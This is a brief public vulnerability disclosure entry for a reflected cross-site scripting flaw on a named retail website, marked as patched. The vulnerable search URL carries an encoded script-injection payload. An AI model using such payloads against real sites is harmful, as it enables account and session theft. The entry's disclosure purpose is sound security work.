kitchensource.com XSS vulnerability

Vulnerable URL: http://www.kitchensource.com/productsearch/?search=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%22OPENBUGBOUNTY%22%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 188372 VIP website...